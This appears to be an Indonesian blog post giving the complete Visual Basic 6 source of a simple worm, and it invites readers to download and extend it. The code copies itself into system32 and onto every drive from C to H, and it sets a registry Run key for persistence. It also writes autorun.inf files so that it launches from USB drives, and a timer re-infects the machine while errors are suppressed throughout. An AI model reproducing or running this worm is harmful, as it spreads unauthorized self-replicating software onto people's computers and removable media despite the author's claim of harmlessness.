alhamdulillah, satu lagi project yang slesai malam ini. :) berikut adalah project kedua ku, yaitu Worm sederhana.
apa itu worm? google ya? :D hehe
worm ini di buat dari bahasa Basic dengan IDE visual basic 6.0 , worm ini tidak memiliki tujuan jahat. dan hanya bertujuan untuk membuatnya hidup terus dengan menggandakan dirinya ke USB dan PC.
berikut scriptnya :
'Nama : Bill Tanthowi Jauhari
'tanggal : 9, januari 2014
'project : worm
'referensi : www.google.com , ebook
Dim Nama, direktory As String
'mendapatkan direktory worm
Function tempat()
On Error Resume Next
Dim direktory As String
Nama = App.EXEName & ".exe"
direktory = App.Path
If Right(direktory, 1) <> "\" Then
direktory = direktory & "\"
End If
tempat = direktory & Nama
End Function
'menanam word di registry windows
Function tanam()
On Error Resume Next
Nama = App.EXEName & ".exe"
Shell ("REG ADD HKCU\software\microsoft\windows\currentversion\run /t REG_SZ /v " & Nama & " /d C:\Windows\system32\" & Nama & " /f")
End Function
'mengcopy worm ke semua drive
Function kopi()
On Error Resume Next
Dim filename, direk As String
Dim ulang(6) As String
ulang(1) = "C"
ulang(2) = "D"
ulang(3) = "E"
ulang(4) = "F"
ulang(5) = "G"
ulang(6) = "H"
Nama = App.EXEName & ".exe"
direktory = "C:\windows\system32\"
filename = direktory & Nama
FileCopy tempat, filename
For i = 1 To 6
direk = ulang(i) & ":\"
If Len(Dir(direk)) <> 0 Then
FileCopy tempat, ulang(i) & ":\" & Nama
End If
Next i
End Function
'pengecekan apakah worm masih ada di PC
Function pengecekan()
On Error Resume Next
Dim ulang(6), hasil As String
ulang(1) = "C"
ulang(2) = "D"
ulang(3) = "E"
ulang(4) = "F"
ulang(5) = "G"
ulang(6) = "H"
Nama = App.EXEName & ".exe"
direktory = "C:\windows\system32\"
hasil = direktory & Nama
If Len(Dir(hasil)) = 0 Then
kopi
tanam
End If
For i = 1 To 6
If Len(Dir(ulang(i) & ":\" & Nama)) = 0 Then
kopi
End If
Next i
End Function
'membuat file autorun.inf ke semua drive
Function jalan()
On Error Resume Next
Dim namatext As String
Dim ulang(6) As String
ulang(1) = "C"
ulang(2) = "D"
ulang(3) = "E"
ulang(4) = "F"
ulang(5) = "G"
ulang(6) = "H"
Nama = App.EXEName & ".exe"
For i = 1 To 6
namatext = ulang(i) & ":\autorun.inf"
If Len(Dir(namatext)) = 0 Then
Open namatext For Output As #1
Print #1, "[autorun]"
Print #1, "Open=" & Nama
Close #1
End If
Next i
End Function
'fungsi eksekusi
Private Sub Form_Load()
On Error GoTo rusak
kopi
tanam
jalan
pengecekan
Exit Sub
rusak:
Unload Me
End Sub
'timer untuk menjalankan worm
Private Sub Timer1_Timer()
On Error Resume Next
pengecekan
End Sub
apabila ingin mengembangkan lagi, silahkan download filenya di : WORM
WARNING : di mohon untuk teman-teman agar tidak mengcopy ulang link di atas. penulis mencoba untuk mempertahankan agar link tetap hidup dan dapat terus di gunakan oleh pengunjung yang tertarik untuk mendownloadnya.